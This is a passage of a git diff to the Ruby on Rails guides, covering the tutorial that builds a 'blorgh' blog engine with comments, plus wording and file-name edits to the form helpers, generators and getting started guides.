>> Blorgh::Post.find(1) + => #<Blorgh::Post id: 1 ...> +</ruby> + +One final thing is that the +posts+ resource for this engine should be the root of the engine. Whenever someone goes to the root path where the engine is mounted, they should be shown a list of posts. This can be made to happen if this line is inserted into the +config/routes.rb+ file inside the engine: + +<ruby> +root :to => "posts#index" +</ruby> + +Now people will only need to go to the root of the engine to see all the posts, rather than visiting +/posts+. + +h4. Generating a comments resource + +Now that the engine has the ability to create new blog posts, it only makes sense to add commenting functionality as well. To do get this, you'll need to generate a comment model, a comment controller and then modify the posts scaffold to display comments and allow people to create new ones. + +Run the model generator and tell it to generate a +Comment+ model, with the related table having two columns: a +post_id+ integer and +text+ text column. + +<shell> +$ rails generate model Comment post_id:integer text:text +</shell> + +This will output the following: + +<shell> +invoke active_record +create db/migrate/[timestamp]_create_blorgh_comments.rb +create app/models/blorgh/comment.rb +invoke test_unit +create test/unit/blorgh/comment_test.rb +create test/fixtures/blorgh/comments.yml +</shell> + +This generator call will generate just the necessary model files it needs, namespacing the files under a +blorgh+ directory and creating a model class called +Blorgh::Comment+. + +To show the comments on a post, edit +app/views/posts/show.html.erb+ and add this line before the "Edit" link: + +<erb> +<h3>Comments</h3> +<%= render @post.comments %> +</erb> + +This line will require there to be a +has_many+ association for comments defined on the +Blorgh::Post+ model, which there isn't right now. To define one, open +app/models/blorgh/post.rb+ and add this line into the model: + +<ruby> +has_many :comments +</ruby> + +Turning the model into this: + +<ruby> +module Blorgh + class Post < ActiveRecord::Base + has_many :comments + end +end +</ruby> + +Because the +has_many+ is defined inside a class that is inside the +Blorgh+ module, Rails will know that you want to use the +Blorgh::Comment+ model for these objects. + +Next, there needs to be a form so that comments can be created on a post. To add this, put this line underneath the call to +render @post.comments+ in +app/views/blorgh/posts/show.html.erb+: + +<erb> +<%= render "blorgh/comments/form" %> +</erb> + +Next, the partial that this line will render needs to exist. Create a new directory at +app/views/blorgh/comments+ and in it a new file called +_form.html.erb+ which has this content to create the required partial: + +<erb> +<h3>New comment</h3> +<%= form_for [@post, @post.comments.build] do |f| %> + <p> + <%= f.label :text %><br /> + <%= f.text_area :text %> + </p> + <%= f.submit %> +<% end %> +</erb> + +This form, when submitted, is going to attempt to post to a route of +posts/:post_id/comments+ within the engine. This route doesn't exist at the moment, but can be created by changing the +resources :posts+ line inside +config/routes.rb+ into these lines: + +<ruby> +resources :posts do + resources :comments +end +</ruby> + +The route now will exist, but the controller that this route goes to does not. To create it, run this command: + +<shell> +$ rails g controller comments +</shell> + +This will generate the following things: + +<shell> +create app/controllers/blorgh/comments_controller.rb +invoke erb + exist app/views/blorgh/comments +invoke test_unit +create test/functional/blorgh/comments_controller_test.rb +invoke helper +create app/helpers/blorgh/comments_helper.rb +invoke test_unit +create test/unit/helpers/blorgh/comments_helper_test.rb +invoke assets +invoke js +create app/assets/javascripts/blorgh/comments.js +invoke css +create app/assets/stylesheets/blorgh/comments.css +</shell> + +The form will be making a +POST+ request to +/posts/:post_id/comments+, which will correspond with the +create+ action in +Blorgh::CommentsController+. This action needs to be created and can be done by putting the following lines inside the class definition in +app/controllers/blorgh/comments_controller.rb+: + +<ruby> +def create + @post = Post.find(params[:post_id]) + @comment = @post.comments.build(params[:comment]) + flash[:notice] = "Comment has been created!" + redirect_to post_path +end +</ruby> + +This is the final part required to get the new comment form working. Displaying the comments however, is not quite right yet. If you were to create a comment right now you would see this error: + +<text> + Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], :formats=>[:html], :locale=>[:en, :en]}. Searched in: + * "/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views" + * "/Users/ryan/Sites/side_projects/blorgh/app/views" +</text> + +The engine is unable to find the partial required for rendering the comments. Rails has looked firstly in the application's (+test/dummy+) +app/views+ directory and then in the engine's +app/views+ directory. When it can't find it, it will throw this error. The engine knows to look for +blorgh/comments/comment+ because the model object it is receiving is from the +Blorgh::Comment+ class. + +This partial will be responsible for rendering just the comment text, for now. Create a new file at +app/views/blorgh/comments/_comment.html.erb+ and put this line inside it: + +<erb> +<%= comment_counter + 1 %>. <%= comment.text %> +</erb> + +The +comment_counter+ local variable is given to us by the +<%= render @post.comments %>+ call, as it will define this automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created. + +That completes the comment function of the blogging engine. Now it's time to use it within an application. + +h3. Hooking into an application + +Using an engine within an application is very easy. This section covers how to mount the engine into an application and the initial setup required for it, as well as linking the engine to a +User+ class provided by the application to provide ownership for posts and comments within the engine. + +h4. Mounting the engine + +First, the engine needs to be specified inside the application's +Gemfile+. If there isn't an application handy to test this out in, generate one using the +rails new+ command outside of the engine directory like this: + +<shell> +$ rails new unicorn +</shell> + +Usually, specifying the engine inside the Gemfile would be done by specifying it as a normal, everyday gem. + +<ruby> +gem 'devise' +</ruby> + +Because the +blorgh+ engine is still under development, it will need to have a +:path+ option for its +Gemfile+ specification: + +<ruby> +gem 'blorgh', :path => "/path/to/blorgh" +</ruby> + +If the whole +blorgh+ engine directory is copied to +vendor/engines/blorgh+ then it could be specified in the +Gemfile+ like this: + +<ruby> +gem 'blorgh', :path => "vendor/engines/blorgh" +</ruby> + +As described earlier, by placing the gem in the +Gemfile+ it will be loaded when Rails is loaded, as it will first require +lib/blorgh.rb+ in the engine and then +lib/blorgh/engine.rb+, which is the file that defines the major pieces of functionality for the engine. + +To make the engine's functionality accessible from within an application, it needs to be mounted in that application's +config/routes.rb+ file: + +<ruby> +mount Blorgh::Engine, :at => "blog" +</ruby> + +This line will mount the engine at +blog+ in the application. Making it accessible at +http://localhost:3000/blog+ when the application runs with +rails s+. + +NOTE: Other engines, such as Devise, handle this a little differently by making you specify custom helpers such as +devise_for+ in the routes. These helpers do exactly the same thing, mounting pieces of the engines's functionality at a pre-defined path which may be customizable. + +h4. Engine setup + +The engine contains migrations for the +blorgh_posts+ and +blorgh_comments+ table which need to be created in the application's database so that the engine's models can query them correctly. To copy these migrations into the application use this command: + +<shell> +$ rake blorgh:install:migrations +</shell> + +This command, when run for the first time will copy over all the migrations from the engine. When run the next time, it will only copy over migrations that haven't been copied over already. The first run for this command will output something such as this: + +<shell> +Copied migration [timestamp_1]_create_blorgh_posts.rb from blorgh +Copied migration [timestamp_2]_create_blorgh_comments.rb from blorgh +</shell> + +The first timestamp (+\[timestamp_1\]+) will be the current time and the second timestamp (+\[timestamp_2\]+) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application. + +To run these migrations within the context of the application, simply run +rake db:migrate+. When accessing the engine through +http://localhost:3000/blog+, the posts will be empty. This is because the table created inside the application is different from the one created within the engine. Go ahead, play around with the newly mounted engine. You'll find that it's the same as when it was only an engine. + +h4. Using a class provided by the application + +When an engine is created, it may want to use specific classes from an application to provide links between the pieces of the engine and the pieces of the application. In the case of the +blorgh+ engine, making posts and comments have authors would make a lot of sense. + +Usually, an application would have a +User+ class that would provide the objects that would represent the posts' and comments' authors, but there could be a case where the application calls this class something different, such as +Person+. It's because of this reason that the engine should not hardcode the associations to be exactly for a +User+ class, but should allow for some flexibility around what the class is called. + +To keep it simple in this case, the application will have a class called +User+ which will represent the users of the application. It can be generated using this command: + +<shell> +rails g model user name:string +</shell> + +The +rake db:migrate+ command needs to be run here to ensure that our application has the +users+ table for future use. + +Also to keep it simple, the posts form will have a new text field called +author_name_+ where users can elect to put their name. The engine will then take this name and create a new +User+ object from it or find one that already has that name, and then associate the post with it. + +First, the +author_name+ text field needs to be added to the +app/views/blorgh/posts/_form.html.erb+ partial inside the engine. This can be added above the +title+ field with this code: + +<erb> +<div class="field"> + <%= f.label :author_name %><br /> + <%= f.text_field :author_name %> +</div> +</erb> + +The +Blorgh::Post+ model should then have some code to convert the +author_name+ field into an actual +User+ object and associate it as that post's +author+ before the post is saved. It will also need to have an +attr_accessor+ setup for this field so that the setter and getter methods are defined for it. + +To do all this, you'll need to add the +attr_accessor+ for +author_name+, the association for the author and the +before_save+ call into +app/models/blorgh/post.rb+. The +author+ association will be hard-coded to the +User+ class for the time being. + +<ruby> +attr_accessor :author_name +belongs_to :author, :class_name => "User" + +before_save :set_author + +private + def set_author + self.author = User.find_or_create_by_name(author_name) + end +</ruby> + +By defining that the +author+ association's object is represented by the +User+ class a link is established between the engine and the application. There needs to be a way of associating the records in the +blorgh_posts+ table with the records in the +users+ table. Because the association is called +author+, there should be an +author_id+ column added to the +blorgh_posts+ table. + +To generate this new column, run this command within the engine: + +<shell> +$ rails g migration add_author_id_to_blorgh_posts author_id:integer +</shell> + +NOTE: Due to the migration's name and the column specification after it, Rails will automatically know that you want to add a column to a specific table and write that into the migration for you. You don't need to tell it any more than this. + +This migration will need to be run on the application. To do that, it must first be copied using this command: + +<shell> +$ rake blorgh:install:migrations +</shell> + +Notice here that only _one_ migration was copied over here. This is because the first two migrations were copied over the first time this command was run. + +<shell> + NOTE: Migration [timestamp]_create_blorgh_posts.rb from blorgh has been skipped. Migration with the same name already exists. + NOTE: Migration [timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration with the same name already exists. + Copied migration [timestamp]_add_author_id_to_blorgh_posts.rb from blorgh +</shell> + +Run this migration using this command: + +<shell> +$ rake db:migrate +</shell> + +Now with all the pieces in place, an action will take place that will associate an author -- represented by a record in the +users+ table -- with a post, represented by the +blorgh_posts+ table from the engine. + +Finally, the author's name should be displayed on the post's page. Add this code above the "Title" output inside +app/views/blorgh/posts/show.html.erb+: + +<erb> +<p> + <b>Author:</b> + <%= @post.author %> +</p> +</erb> + +WARNING: For posts created previously, this will break the +show+ page for them. We recommend deleting these posts and starting again, or manually assigning an author using +rails c+. + +By outputting +@post.author+ using the +<%=+ tag the +to_s+ method will be called on the object. By default, this will look quite ugly: + +<text> +#<User:0x00000100ccb3b0> +</text> + +This is undesirable and it would be much better to have the user's name there. To do this, add a +to_s+ method to the +User+ class within the application: + +<ruby> +def to_s + name +end +</ruby> + +Now instead of the ugly Ruby object output the author's name will be displayed. + +h4. Configuring an engine + +This section covers firstly how you can make the +user_class+ setting of the Blorgh engine configurable, followed by general configuration tips for the engine. + +h5. Setting configuration settings in the application + +The next step is to make the class that represents a +User+ in the application customizable for the engine. This is because, as explained before, that class may not always be +User+. To make this customizable, the engine will have a configuration setting called +user_class+ that will be used to specify what the class representing users is inside the application. + +To define this configuration setting, you should use a +mattr_accessor+ inside the +Blorgh+ module for the engine, located at +lib/blorgh.rb+ inside the engine. Inside this module, put this line: + +<ruby> +mattr_accessor :user_class +</ruby> + +This method works like its brothers +attr_accessor+ and +cattr_accessor+, but provides a setter and getter method on the module with the specified name. To use it, it must be referenced using +Blorgh.user_class+. + +The next step is switching the +Blorgh::Post+ model over to this new setting. For the +belongs_to+ association inside this model (+app/models/blorgh/post.rb+), it will now become this: + +<ruby> +belongs_to :author, :class_name => Blorgh.user_class +</ruby> + +The +set_author+ method also located in this class should also use this class: + +<ruby> +self.author = Blorgh.user_class.constantize.find_or_create_by_name(author_name) +</ruby> + +To set this configuration setting within the application, an initializer should be used. By using an initializer, the configuration will be set up before the application starts and makes references to the classes of the engine which may depend on this configuration setting existing. + +Create a new initializer at +config/initializers/blorgh.rb+ inside the application where the +blorgh+ engine is installed and put this content in it: + +<ruby> +Blorgh.user_class = "User" +</ruby> + +WARNING: It's very important here to use the +String+ version of the class, rather than the class itself. If you were to use the class, Rails would attempt to load that class and then reference the related table, which could lead to problems if the table wasn't already existing. Therefore, a +String+ should be used and then converted to a class using +constantize+ in the engine later on. + +Go ahead and try to create a new post. You will see that it works exactly in the same way as before, except this time the engine is using the configuration setting in +config/initializers/blorgh.rb+ to learn what the class is. + +There are now no strict dependencies on what the class is, only what the class's API must be. The engine simply requires this class to define a +find_or_create_by_name+ method which returns an object of that class to be associated with a post when it's created. + +h5. General engine configuration + +Within an engine, there may come a time where you wish to use things such as initializers, internationalization or other configuration options. The great news is that these things are entirely possible because a Rails engine shares much the same functionality as a Rails application. In fact, a Rails application's functionality is actually a superset of what is provided by engines! + +If you wish to use initializers (code that should run before the engine is loaded), the best place for them is the +config/initializers+ folder. This directory's functionality is explained in the "Initializers section":http://guides.rubyonrails.org/configuring.html#initializers of the Configuring guide. + +For locales, simply place the locale files in the +config/locales+ directory, just like you would in an application. + +h3. Extending engine functionality + +This section looks at overriding or adding functionality to the views, controllers and models provided by an engine. + +h4. Overriding views + +When Rails looks for a view to render, it will first look in the +app/views+ directory of the application. If it cannot find the view there, then it will check in the +app/views+ directories of all engines which have this directory. + +In the +blorgh+ engine, there is a currently a file at +app/views/blorgh/posts/index.html.erb+. When the engine is asked to render the view for +Blorgh::PostsController+'s +index+ action, it will first see if it can find it at +app/views/blorgh/posts/index.html.erb+ within the application and then if it cannot it will look inside the engine. + +By overriding this view in the application, by simply creating a new file at +app/views/blorgh/posts/index.html.erb+, you can completely change what this view would normally output. + +Try this now by creating a new file at +app/views/blorgh/posts/index.html.erb+ and put this content in it: + +<erb> +<h1>Posts</h1> +<%= link_to "New Post", new_post_path %> +<% @posts.each do |post| %> + <h2><%= post.title %></h2> + <small>By <%= post.author %></small> + <%= simple_format(post.text) %> + <hr> +<% end %> +</erb> + +Rather than looking like the default scaffold, the page will now look like this: + +!images/engines_post_override.png(Engine scaffold overriden)! + +h4. Controllers + +TODO: Explain how to extend a controller. +IDEA: I like Devise's +devise :controllers => { "sessions" => "sessions" }+ idea. Perhaps we could incorporate that into the guide? + +h4. Models + +TODO: Explain how to extend models provided by an engine. + +h4. Routes + +Within the application, you may wish to link to some area within the engine. Due to the fact that the engine's routes are isolated (by the +isolate_namespace+ call within the +lib/blorgh/engine.rb+ file), you will need to prefix these routes with the engine name. This means rather than having something such as: + +<erb> +<%= link_to "Blog posts", posts_path %> +</erb> + +It needs to be written as: + +<erb> +<%= link_to "Blog posts", blorgh.posts_path %> +</erb> + +This allows for the engine _and_ the application to both have a +posts_path+ routing helper and to not interfere with each other. You may also reference another engine's routes from inside an engine using this same syntax. + +If you wish to reference the application inside the engine in a similar way, use the +main_app+ helper: + +<erb> +<%= link_to "Home", main_app.root_path %> +</erb> + +TODO: Mention how to use assets within an engine? +TODO: Mention how to depend on external gems, like RedCarpet. diff --git a/railties/guides/source/form_helpers.textile b/railties/guides/source/form_helpers.textile index bf2a7369a7..821bb305f6 100644 --- a/railties/guides/source/form_helpers.textile +++ b/railties/guides/source/form_helpers.textile @@ -342,7 +342,6 @@ output: When parsing POSTed data, Rails will take into account the special +_method+ parameter and acts as if the HTTP method was the one specified inside it ("PUT" in this example). - h3. Making Select Boxes with Ease Select boxes in HTML require a significant amount of markup (one +OPTION+ element for each option to choose from), therefore it makes the most sense for them to be dynamically generated. @@ -797,13 +796,3 @@ Many apps grow beyond simple forms editing a single object. For example when cre * Eloy Duran's "complex-forms-examples":https://github.com/alloy/complex-form-examples/ application * Lance Ivy's "nested_assignment":https://github.com/cainlevy/nested_assignment/tree/master plugin and "sample application":https://github.com/cainlevy/complex-form-examples/tree/cainlevy * James Golick's "attribute_fu":https://github.com/jamesgolick/attribute_fu plugin - -h3. Changelog - -* February 5, 2011: Added 'Forms to external resources' section. Timothy N. Tsvetkov <timothy.tsvetkov@gmail.com> -* April 6, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com - -h3. Authors - -* Mislav Marohnić <mislav.marohnic@gmail.com> -* "Frederick Cheung":credits.html#fcheung diff --git a/railties/guides/source/generators.textile b/railties/guides/source/generators.textile index 2fa1d6e21d..7a863ccbc7 100644 --- a/railties/guides/source/generators.textile +++ b/railties/guides/source/generators.textile @@ -449,6 +449,15 @@ The above code will put the following line into +Gemfile+: gem "devise", :git => "git://github.com/plataformatec/devise", :branch => "master" </ruby> +h4. +gem_group+ + +Wraps gem entries inside a group: + +<ruby> +gem_group :development, :test do + gem "rspec-rails" +end +</ruby> h4. +add_source+ @@ -610,14 +619,3 @@ Output the contents of a file in the template's +source_path+, usually a README. <ruby> readme("README") </ruby> - -h3. Changelog - -* December 1, 2010: Documenting the available methods and options for generators and templates by "Ryan Bigg":http://ryanbigg.com -* December 1, 2010: Addition of Rails application templates by "Ryan Bigg":http://ryanbigg.com - -* August 23, 2010: Edit pass by "Xavier Noria":credits.html#fxn - -* April 30, 2010: Reviewed by José Valim - -* November 20, 2009: First version by José Valim diff --git a/railties/guides/source/getting_started.textile b/railties/guides/source/getting_started.textile index 0b89021392..bf6104b96b 100644 --- a/railties/guides/source/getting_started.textile +++ b/railties/guides/source/getting_started.textile @@ -41,6 +41,9 @@ internet for learning Ruby, including: * "Programming Ruby":http://www.ruby-doc.org/docs/ProgrammingRuby/ * "Why's (Poignant) Guide to Ruby":http://mislav.uniqpath.com/poignant-guide/ +Also, the example code for this guide is available in the rails github:https://github.com/rails/rails repository +in rails/railties/guides/code/getting_started. + h3. What is Rails? Rails is a web application development framework written in the Ruby language. @@ -61,9 +64,9 @@ The Rails philosophy includes several guiding principles: * DRY - "Don't Repeat Yourself" - suggests that writing the same code over and over again is a bad thing. * Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to -d o it, rather than requiring you to specify every little thing through endless configuration files. +do it, rather than requiring you to specify every little thing through endless configuration files. * REST is the best pattern for web applications - organizing your application around resources and standard HTTP verbs -i s the fastest way to go. +is the fastest way to go. h4. The MVC Architecture @@ -116,7 +119,6 @@ need to know anything about them to continue with this guide. * Active Support * Railties - h5. Action Pack Action Pack is a single gem that contains Action Controller, Action View and @@ -197,9 +199,10 @@ For example, the following HTTP request: <tt>DELETE /photos/17</tt> -refers to a photo resource with an ID of 17 and indicates an action to be taken -upon it: deletion. REST is a natural web application architecture which Rails -abstracts, shielding you from RESTful complexities and browser quirks. +would be understood to refer to a photo resource with the ID of 17, and to +indicate a desired action - deleting that resource. REST is a natural style for +the architecture of web applications, and Rails hooks into this shielding you +from many of the RESTful complexities and browser quirks. If you'd like more details on REST as an architectural style, these resources are more approachable than Fielding's thesis: @@ -357,7 +360,7 @@ development: h5. Configuring an SQLite3 Database for JRuby Platform -If you choose to use SQLite3 and using JRuby, your +config/database.yml+ will +If you choose to use SQLite3 and are using JRuby, your +config/database.yml+ will look a little different. Here's the development section: <yaml> @@ -368,7 +371,7 @@ development: h5. Configuring a MySQL Database for JRuby Platform -If you choose to use MySQL and using JRuby, your +config/database.yml+ will look +If you choose to use MySQL and are using JRuby, your +config/database.yml+ will look a little different. Here's the development section: <yaml> @@ -381,7 +384,7 @@ development: h5. Configuring a PostgreSQL Database for JRuby Platform -Finally if you choose to use PostgreSQL and using JRuby, your +Finally if you choose to use PostgreSQL and are using JRuby, your +config/database.yml+ will look a little different. Here's the development section: @@ -535,21 +538,8 @@ command in your terminal: $ rails generate scaffold Post name:string title:string content:text </shell> -This will create a new database table called posts (plural of Post). The table -will have three columns, name (type string), title (type string) and content -(type text). It will also hook this new database up to Rails (details below). - -NOTE. While scaffolding will get you up and running quickly, the code it -generates is unlikely to be a perfect fit for your application. You'll most -probably want to customize the generated code. Many experienced Rails developers -avoid scaffolding entirely, preferring to write all or most of their source code -from scratch. Rails, however, makes it really simple to customize templates for -generated models, controllers, views and other source files. You'll find more -information in the "Creating and Customizing Rails Generators & -Templates":generators.html guide. - -The scaffold generator will build 17 files in your application, along with some -folders, and edit one more. Here's a quick overview of what it creates: +The scaffold generator will build several files in your application, along with some +folders, and edit <tt>config/routes.rb</tt>. Here's a quick overview of what it creates: |_.File |_.Purpose| |db/migrate/20100207214725_create_posts.rb |Migration to create the posts table in your database (your name will include a different timestamp)| @@ -562,14 +552,23 @@ folders, and edit one more. Here's a quick overview of what it creates: |app/views/posts/new.html.erb |A view to create a new post| |app/views/posts/_form.html.erb |A partial to control the overall look and feel of the form used in edit and new views| |app/helpers/posts_helper.rb |Helper functions to be used from the post views| -|app/assets/stylesheets/scaffold.css.scss |Cascading style sheet to make the scaffolded views look better| -|app/assets/stylesheets/post.css.scss |Cascading style sheet for the posts controller| -|app/assets/javascripts/post.js.coffee |CoffeeScript for the posts controller| +|app/assets/stylesheets/scaffolds.css.scss |Cascading style sheet to make the scaffolded views look better| +|app/assets/stylesheets/posts.css.scss |Cascading style sheet for the posts controller| +|app/assets/javascripts/posts.js.coffee |CoffeeScript for the posts controller| |test/unit/post_test.rb |Unit testing harness for the posts model| |test/functional/posts_controller_test.rb |Functional testing harness for the posts controller| |test/unit/helpers/posts_helper_test.rb |Unit testing harness for the posts helper| |config/routes.rb |Edited to include routing information for posts| +NOTE. While scaffolding will get you up and running quickly, the code it +generates is unlikely to be a perfect fit for your application. You'll most +probably want to customize the generated code. Many experienced Rails developers +avoid scaffolding entirely, preferring to write all or most of their source code +from scratch. Rails, however, makes it really simple to customize templates for +generated models, controllers, views and other source files. You'll find more +information in the "Creating and Customizing Rails Generators & +Templates":generators.html guide. + h4. Running a Migration One of the products of the +rails generate scaffold+ command is a _database @@ -596,11 +595,11 @@ class CreatePosts < ActiveRecord::Migration end </ruby> -The above migration creates a method name +change+ which will be called when you +The above migration creates a method named +change+ which will be called when you run this migration. The action defined in that method is also reversible, which means Rails knows how to reverse the change made by this migration, in case you want to reverse it at later date. By default, when you run this migration it -will creates a +posts+ table with two string columns and a text column. It also +creates a +posts+ table with two string columns and a text column. It also creates two timestamp fields to track record creation and updating. More information about Rails migrations can be found in the "Rails Database Migrations":migrations.html guide. @@ -621,9 +620,9 @@ table. == CreatePosts: migrated (0.0020s) =========================================== </shell> -NOTE. Because you're working in the development environment by default, this +NOTE. Because by default you're working in the development environment, this command will apply to the database defined in the +development+ section of your -+config/database.yml+ file. If you would like to execute migrations in other ++config/database.yml+ file. If you would like to execute migrations in another environment, for instance in production, you must explicitly pass it when invoking the command: <tt>rake db:migrate RAILS_ENV=production</tt>. @@ -705,8 +704,8 @@ $ rails console </shell> TIP: The default console will make changes to your database. You can instead -open a console that will roll back any changes you make by using +rails console ---sandbox+. +open a console that will roll back any changes you make by using <tt>rails console +--sandbox</tt>. After the console loads, you can use it to work with your application's models: @@ -784,7 +783,8 @@ Here's +app/views/posts/index.html.erb+: <td><%= post.content %></td> <td><%= link_to 'Show', post %></td> <td><%= link_to 'Edit', edit_post_path(post) %></td> - <td><%= link_to 'Destroy', post, :confirm => 'Are you sure?', :method => :delete %></td> + <td><%= link_to 'Destroy', post, :confirm => 'Are you sure?', + :method => :delete %></td> </tr> <% end %> </table> @@ -825,8 +825,8 @@ this layout in your editor and modify the +body+ tag: <html> <head> <title>Blog</title> - <%= stylesheet_link_tag :all %> - <%= javascript_include_tag :defaults %> + <%= stylesheet_link_tag "application" %> + <%= javascript_include_tag "application" %> <%= csrf_meta_tags %> </head> <body style="background: #EEEEEE;"> @@ -868,10 +868,10 @@ The +new.html.erb+ view displays this empty Post to the user: The +<%= render 'form' %>+ line is our first introduction to _partials_ in Rails. A partial is a snippet of HTML and Ruby code that can be reused in -multiple locations. In this case, the form used to make a new post, is basically -identical to a form used to edit a post, both have text fields for the name and -title and a text area for the content with a button to make a new post or update -the existing post. +multiple locations. In this case, the form used to make a new post is basically +identical to the form used to edit a post, both having text fields for the name and +title, a text area for the content, and a button to create the new post or to update +the existing one. If you take a look at +views/posts/_form.html.erb+ file, you will see the following: @@ -880,7 +880,8 @@ following: <%= form_for(@post) do |f| %> <% if @post.errors.any? %> <div id="errorExplanation"> - <h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2> + <h2><%= pluralize(@post.errors.count, "error") %> prohibited + this post from being saved:</h2> <ul> <% @post.errors.full_messages.each do |msg| %> <li><%= msg %></li> @@ -908,15 +909,15 @@ following: </erb> This partial receives all the instance variables defined in the calling view -file, so in this case, the controller assigned the new Post object to +@post+ -and so, this is available in both the view and partial as +@post+. +file. In this case, the controller assigned the new +Post+ object to +@post+, +which will thus be available in both the view and the partial as +@post+. For more information on partials, refer to the "Layouts and Rendering in Rails":layouts_and_rendering.html#using-partials guide. The +form_for+ block is used to create an HTML form. Within this block, you have access to methods to build various controls on the form. For example, -+f.text_field :name+ tells Rails to create a text input on the form, and to hook ++f.text_field :name+ tells Rails to create a text input on the form and to hook it up to the +name+ attribute of the instance being displayed. You can only use these methods with attributes of the model that the form is based on (in this case +name+, +title+, and +content+). Rails uses +form_for+ in preference to @@ -932,9 +933,9 @@ to a model, you should use the +form_tag+ method, which provides shortcuts for building forms that are not necessarily tied to a model instance. When the user clicks the +Create Post+ button on this form, the browser will -send information back to the +create+ method of the controller (Rails knows to -call the +create+ method because the form is sent with an HTTP POST request; -that's one of the conventions that I mentioned earlier): +send information back to the +create+ action of the controller (Rails knows to +call the +create+ action because the form is sent with an HTTP POST request; +that's one of the conventions that were mentioned earlier): <ruby> def create @@ -966,12 +967,12 @@ If the post was not successfully saved, due to a validation error, then the controller returns the user back to the +new+ action with any error messages so that the user has the chance to fix the error and try again. -The "Post was successfully created." message is stored inside of the Rails -+flash+ hash, (usually just called _the flash_) so that messages can be carried +The "Post was successfully created." message is stored in the Rails ++flash+ hash (usually just called _the flash_), so that messages can be carried over to another action, providing the user with useful information on the status of their request. In the case of +create+, the user never actually sees any page -rendered during the Post creation process, because it immediately redirects to -the new Post as soon Rails saves the record. The Flash carries over a message to +rendered during the post creation process, because it immediately redirects to +the new +Post+ as soon as Rails saves the record. The Flash carries over a message to the next action, so that when the user is redirected back to the +show+ action, they are presented with a message saying "Post was successfully created." @@ -1044,9 +1045,9 @@ it: <%= link_to 'Back', posts_path %> </erb> -Again, as with the +new+ action, the +edit+ action is using the +form+ partial, -this time however, the form will do a PUT action to the PostsController and the -submit button will display "Update Post" +Again, as with the +new+ action, the +edit+ action is using the +form+ partial. +This time, however, the form will do a PUT action to the +PostsController+ and the +submit button will display "Update Post". Submitting the form created by this view will invoke the +update+ action within the controller: @@ -1071,9 +1072,9 @@ end In the +update+ action, Rails first uses the +:id+ parameter passed back from the edit view to locate the database record that's being edited. The -+update_attributes+ call then takes the rest of the parameters from the request -and applies them to this record. If all goes well, the user is redirected to the -post's +show+ view. If there are any problems, it's back to the +edit+ view to ++update_attributes+ call then takes the +post+ parameter (a hash) from the request +and applies it to this record. If all goes well, the user is redirected to the +post's +show+ action. If there are any problems, it redirects back to the +edit+ action to correct them. h4. Destroying a Post @@ -1087,16 +1088,16 @@ def destroy @post.destroy respond_to do |format| - format.html { redirect_to(posts_url) } - format.json { render :json => {}, :status => :ok } + format.html { redirect_to posts_url } + format.json { head :ok } end end </ruby> The +destroy+ method of an Active Record model instance removes the corresponding record from the database. After that's done, there isn't any -record to display, so Rails redirects the user's browser to the index view for -the model. +record to display, so Rails redirects the user's browser to the index action of +the controller. h3. Adding a Second Model @@ -1108,7 +1109,7 @@ h4. Generating a Model Models in Rails use a singular name, and their corresponding database tables use a plural name. For the model to hold comments, the convention is to use the name -Comment. Even if you don't want to use the entire apparatus set up by ++Comment+. Even if you don't want to use the entire apparatus set up by scaffolding, most Rails developers still use generators to make things like models and controllers. To create the new model, run this command in your terminal: @@ -1119,8 +1120,8 @@ $ rails generate model Comment commenter:string body:text post:references This command will generate four files: -* +app/models/comment.rb+ - The model -* +db/migrate/20100207235629_create_comments.rb+ - The migration +* +app/models/comment.rb+ - The model. +* +db/migrate/20100207235629_create_comments.rb+ - The migration. * +test/unit/comment_test.rb+ and +test/fixtures/comments.yml+ - The test harness. First, take a look at +comment.rb+: @@ -1178,8 +1179,8 @@ Active Record associations let you easily declare the relationship between two models. In the case of comments and posts, you could write out the relationships this way: -* Each comment belongs to one post -* One post can have many comments +* Each comment belongs to one post. +* One post can have many comments. In fact, this is very close to the syntax that Rails uses to declare this association. You've already seen the line of code inside the Comment model that @@ -1205,7 +1206,7 @@ end These two declarations enable a good bit of automatic behavior. For example, if you have an instance variable +@post+ containing a post, you can retrieve all -the comments belonging to that post as the array +@post.comments+. +the comments belonging to that post as an array using +@post.comments+. TIP: For more information on Active Record associations, see the "Active Record Associations":association_basics.html guide. @@ -1214,9 +1215,9 @@ h4. Adding a Route for Comments As with the +home+ controller, we will need to add a route so that Rails knows where we would like to navigate to see +comments+. Open up the -+config/routes.rb+ file again, you will see an entry that was added -automatically for +posts+ near the top by the scaffold generator, +resources -:posts+, edit it as follows: ++config/routes.rb+ file again. Near the top, you will see the entry for +posts+ +that was added automatically by the scaffold generator: <tt>resources +:posts</tt>. Edit it as follows: <ruby> resources :posts do @@ -1242,19 +1243,19 @@ $ rails generate controller Comments This creates six files and one empty directory: -* +app/controllers/comments_controller.rb+ - The controller -* +app/helpers/comments_helper.rb+ - A view helper file -* +test/functional/comments_controller_test.rb+ - The functional tests for the controller -* +test/unit/helpers/comments_helper_test.rb+ - The unit tests for the helper -* +app/views/comments/+ - Views of the controller are stored here -* +app/assets/stylesheets/comment.css.scss+ - Cascading style sheet for the controller -* +app/assets/javascripts/comment.js.coffee+ - CoffeeScript for the controller +* +app/controllers/comments_controller.rb+ - The controller. +* +app/helpers/comments_helper.rb+ - A view helper file. +* +test/functional/comments_controller_test.rb+ - The functional tests for the controller. +* +test/unit/helpers/comments_helper_test.rb+ - The unit tests for the helper. +* +app/views/comments/+ - Views of the controller are stored here. +* +app/assets/stylesheets/comment.css.scss+ - Cascading style sheet for the controller. +* +app/assets/javascripts/comment.js.coffee+ - CoffeeScript for the controller. Like with any blog, our readers will create their comments directly after reading the post, and once they have added their comment, will be sent back to the post show page to see their comment now listed. Due to this, our +CommentsController+ is there to provide a method to create comments and delete -SPAM comments when they arrive. +spam comments when they arrive. So first, we'll wire up the Post show template (+/app/views/posts/show.html.erb+) to let us make a new comment: @@ -1296,8 +1297,8 @@ So first, we'll wire up the Post show template <%= link_to 'Back to Posts', posts_path %> | </erb> -This adds a form on the Post show page that creates a new comment, which will -call the +CommentsController+ +create+ action, so let's wire that up: +This adds a form on the +Post+ show page that creates a new comment by +calling the +CommentsController+ +create+ 